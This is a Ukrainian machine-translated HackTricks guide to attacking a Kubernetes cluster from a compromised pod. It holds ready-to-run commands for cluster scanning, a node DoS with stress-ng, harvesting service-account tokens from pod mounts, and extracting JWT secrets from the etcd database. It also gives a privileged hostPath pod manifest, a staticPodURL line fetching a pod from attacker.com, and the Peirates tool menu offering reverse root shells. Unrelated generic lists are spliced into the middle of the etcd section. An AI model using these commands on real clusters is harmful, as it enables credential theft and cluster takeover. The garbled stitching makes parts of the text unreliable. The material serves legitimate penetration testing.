Attacking Kubernetes from inside a Pod

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Втеча з Пода

Якщо ви маєте достатньо щастя, ви можете втекти з нього на вузол:

Втеча з Пода

Для спроби втечі з Пода вам може знадобитися підвищення привілеїв спочатку, деякі техніки для цього:

Ви можете перевірити ці втечі з Docker, щоб спробувати втекти з Пода, який ви скомпрометували:

Зловживання привілеями Kubernetes

Як пояснено в розділі про перелік Kubernetes:

pageKubernetes Enumeration

Зазвичай Поди запускаються з токеном облікового запису служби всередині них. Цей обліковий запис служби може мати деякі привілеї, які ви можете зловживати, щоб перейти до інших Подів або навіть втекти на налаштовані вузли всередині кластера. Перевірте, як це зробити:

pageAbusing Roles/ClusterRoles in Kubernetes

Зловживання привілеями Cloud

Якщо Под запущено в хмарному середовищі, ви можете витікати токен з кінцевої точки метаданих та підвищувати привілеї, використовуючи його.

Пошук вразливих мережевих служб

Оскільки ви знаходитесь всередині середовища Kubernetes, якщо ви не можете підвищити привілеї, зловживаючи поточними привілеями Пода, і не можете втекти з контейнера, вам слід шукати потенційно вразливі служби.

Служби

Для цієї мети ви можете спробувати отримати всі служби середовища Kubernetes:

kubectl get svc --all-namespaces

За замовчуванням Kubernetes використовує плоску схему мережі, що означає, що будь-який pod/service в межах кластера може спілкуватися з іншими. Простори імен в межах кластера за замовчуванням не мають обмежень мережевої безпеки. Будь-хто в просторі імен може спілкуватися з іншими просторами імен.

Сканування

Наступний сценарій Bash (взятий з семінару з Kubernetes) встановить та просканує IP-діапазони кластера Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Перевірте наступну сторінку, щоб дізнатися, як ви можете здійснити атаку на конкретні служби Kubernetes, щоб компрометувати інші підсистеми/весь середовище:

pagePentesting Kubernetes Services

Підслуховування

У випадку, якщо компрометований підсистема працює з якоюсь чутливою службою, де іншим підсистемам потрібна аутентифікація, ви можете отримати дані для входу від інших підсистем, підслуховуючи локальні комунікації.

Підроблення мережі

За замовчуванням техніки, такі як підроблення ARP (і завдяки цьому підроблення DNS), працюють в мережі Kubernetes. Тоді, всередині підсистеми, якщо у вас є можливість NET_RAW (яка є за замовчуванням), ви зможете відправляти власноруч створені мережеві пакети та виконувати атаки типу MitM через ARP-підроблення на всі підсистеми, що працюють на тому ж вузлі. Більше того, якщо зловмисна підсистема працює на тому ж вузлі, що і DNS-сервер, ви зможете виконати атаку підроблення DNS на всі підсистеми в кластері.

pageKubernetes Network Attacks

DoS вузла

У маніфестах Kubernetes не вказано ресурсів та не застосовано обмежень для контейнерів. Як зловмисник, ми можемо використовувати всі ресурси, де працює підсистема/розгортання, і вичерпати інші ресурси, спричинивши DoS для середовища.

Це можна зробити за допомогою такого інструменту, як stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Ви можете побачити різницю під час виконання stress-ng і після.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Пост-експлуатація вузла

Якщо вам вдалося вийти з контейнера, ви знайдете цікаві речі на вузлі:

  • Процес Container Runtime (Docker)

  • Більше подів/контейнерів, що працюють на вузлі, які можна зловживати, як цей (більше токенів)

  • Весь файловий систем та ОС взагалі

  • Служба Kube-Proxy, яка прослуховує

  • Служба Kubelet, яка прослуховує. Перевірте файли конфігурації:

  • Директорія: /var/lib/kubelet/

  • /var/lib/kubelet/kubeconfig

  • /var/lib/kubelet/kubelet.conf

  • /var/lib/kubelet/config.yaml

  • /var/lib/kubelet/kubeadm-flags.env

  • /etc/kubernetes/kubelet-kubeconfig

  • Інші загальні файли Kubernetes:

  • $HOME/.kube/config - Конфігурація користувача

  • /etc/kubernetes/kubelet.conf- Звичайна конфігурація

  • /etc/kubernetes/bootstrap-kubelet.conf - Конфігурація завантаження

  • /etc/kubernetes/manifests/etcd.yaml - Конфігурація etcd

  • /etc/kubernetes/pki - Ключ Kubernetes

Знайдіть kubeconfig вузла

Якщо ви не можете знайти файл kubeconfig в одному з раніше згаданих шляхів, перевірте аргумент --kubeconfig процесу kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Викрадення секретів

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Скрипт can-they.sh автоматично отримує токени інших капсул та перевіряє, чи мають вони необхідні дозволи (замість того, щоб ви перевіряли їх по одному):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Привілейовані DaemonSets

DaemonSet - це под, який буде запущений на всіх вузлах кластера. Тому, якщо DaemonSet налаштований з привілейованим обліковим записом сервісу, на ВСІХ вузлах ви зможете знайти токен цього привілейованого облікового запису, яким ви можете зловживати.

Експлойт той самий, що й у попередньому розділі, але тепер ви не залежите від удачі.

Перехід до хмари

Якщо кластер керується хмарним сервісом, зазвичай Вузол матиме інший доступ до кінцевої точки метаданих ніж Под. Тому спробуйте отримати доступ до кінцевої точки метаданих з вузла (або з под з hostNetwork встановленим на True):

pageKubernetes Pivoting to Clouds

Вкрасти etcd

Якщо ви можете вказати nodeName вузла, на якому буде запущений контейнер, отримайте оболонку всередині вузла управління та отримайте базу даних etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane вузли мають роль майстра і в кластерах, керованих хмарою, ви не зможете запустити на них нічого.

Читання секретів з etcd

Якщо ви можете запустити свій под на вузлі control-plane, використовуючи селектор nodeName в специфікації пода, ви можете легко отримати доступ до бази даних etcd, яка містить всю конфігурацію кластера, включаючи всі секрети.

Нижче наведено швидкий і нечесний спосіб витягти секрети з etcd, якщо він працює на вузлі control-plane, на якому ви знаходитесь. Якщо ви хочете більш елегантне рішення, яке запускає под з утилітою клієнта etcd etcdctl та використовує облікові дані вузла control-plane для підключення до etcd, де б він не запускався, перегляньте цей прикладний файл від @mauilion.

Перевірте, чи працює etcd на вузлі control-plane та перегляньте, де знаходиться база даних (це на кластері, створеному за допомогою kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Атака Kubernetes зсередини Pod

Якщо ви отримали доступ до Pod всередині кластера Kubernetes, ви можете виконати наступні дії:

  1. Використання Service Account Token: Ви можете використати токен облікового запису служби, який автоматично монтується всередині Pod, щоб взаємодіяти з API сервером Kubernetes.

  2. Використання Kubernetes API: Ви можете взаємодіяти з API сервером Kubernetes, використовуючи бібліотеки, такі як client-go, які можуть бути встановлені всередині Pod.

  3. Використання kubectl: Якщо в Pod є встановлений kubectl, ви можете використовувати його для взаємодії з кластером Kubernetes.

  4. Використання Volume Mounts: Перевірте, чи монтується який-небудь Volume, який містить конфіденційну інформацію, таку як конфігураційні файли або ключі.

  5. Використання Sidecar Containers: Перевірте наявність Sidecar контейнерів всередині Pod, які можуть бути використані для атаки на кластер Kubernetes.

  6. Використання Environment Variables: Перевірте, чи є встановлені змінні середовища, які можуть містити конфіденційну інформацію, таку як паролі або ключі API.

  7. Використання Network Policies: Перевірте налаштування мережевих політик, які можуть обмежувати комунікацію між Pod всередині кластера Kubernetes.

  8. Використання Privileged Containers: Перевірте, чи є привілейовані контейнери всередині Pod, які можуть мати розширені привілеї доступу до кластера Kubernetes.

data-dir=/var/lib/etcd

Переглянути дані в базі даних etcd:

strings /var/lib/etcd/member/snap/db | less

Витягніть токени з бази даних та покажіть ім'я облікового запису служби

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Та ж команда, але з деякими greps, щоб повернути лише типовий токен у просторі імен kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Атака Kubernetes зсередини Pod

Якщо ви отримали доступ до Pod всередині кластера Kubernetes, ви можете виконати наступні дії:

  1. Використання Kubernetes API: Ви можете використовувати службові об'єкти Kubernetes API для отримання інформації про кластер, створення нових об'єктів або навіть видалення існуючих.

  2. Злам контейнерів: Ви можете намагатися отримати доступ до інших контейнерів, які працюють в тому ж Pod, або навіть виконати атаку на сам контейнер.

  3. Злам вузлів: Ви можете намагатися отримати доступ до вузлів кластера Kubernetes, на якому працює Pod, і виконати атаки на них.

  4. Використання мережі: Ви можете використовувати мережеві можливості для атак на інші об'єкти в межах кластера або навіть поза ним.

  5. Використання ресурсів кластера: Ви можете використовувати ресурси кластера для власних цілей, таких як виконання обчислень або зберігання даних.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Статична/Дзеркальна Постійність Подів

Статичні Поди керуються безпосередньо демоном kubelet на конкретному вузлі, без спостереження API-сервера за ними. На відміну від Подів, які керуються планом управління (наприклад, Розгортання); замість цього, kubelet спостерігає за кожним статичним Подом (і перезапускає його у разі невдачі).

Отже, статичні Поди завжди прив'язані до одного Kubelet на конкретному вузлі.

Kubelet автоматично намагається створити дзеркальний Под на сервері API Kubernetes для кожного статичного Пода. Це означає, що Поди, що працюють на вузлі, видимі на сервері API, але не можуть керуватися звідти. Імена Подів будуть суфіксовані ім'ям хоста вузла з переднім дефісом.

spec статичного Пода не може посилатися на інші об'єкти API (наприклад, ServiceAccount, ConfigMap, Secret і т.д. Тому ви не можете зловживати цією поведінкою, щоб запустити Под з довільним serviceAccount на поточному вузлі для компрометації кластера. Але ви можете використовувати це для запуску Подів у різних просторах імен (якщо це корисно з якоїсь причини).

Якщо ви знаходитесь всередині хоста вузла, ви можете змусити його створити статичний Под всередині себе. Це досить корисно, оскільки це може дозволити вам створити Под у різному просторі імен, наприклад, kube-system.

Для створення статичного Пода, документація буде великою допомогою. Вам в основному потрібно 2 речі:

  • Налаштувати параметр --pod-manifest-path=/etc/kubernetes/manifests у службі kubelet, або в конфігурації kubelet (staticPodPath) і перезапустити службу

  • Створити визначення на визначенні Пода в /etc/kubernetes/manifests

Ще один більш прихований спосіб буде:

  • Змінити параметр staticPodURL у файлі конфігурації kubelet і встановити щось на зразок staticPodURL: http://attacker.com:8765/pod.yaml. Це змусить процес kubelet створити статичний Под, отримуючи конфігурацію з вказаного URL.

Приклад конфігурації пода для створення привілейованого Пода в kube-system, взятий з тут:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Видалення pods + вимкнення nodes

Якщо зловмисник зламав node і може видаляти pods з інших nodes і зробити інші nodes неспроможними виконувати pods, то pods будуть перезапущені на скомпрометованому node, і він зможе вкрасти токени, які в них запущені. Для додаткової інформації перейдіть за цими посиланнями.

Автоматичні інструменти

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated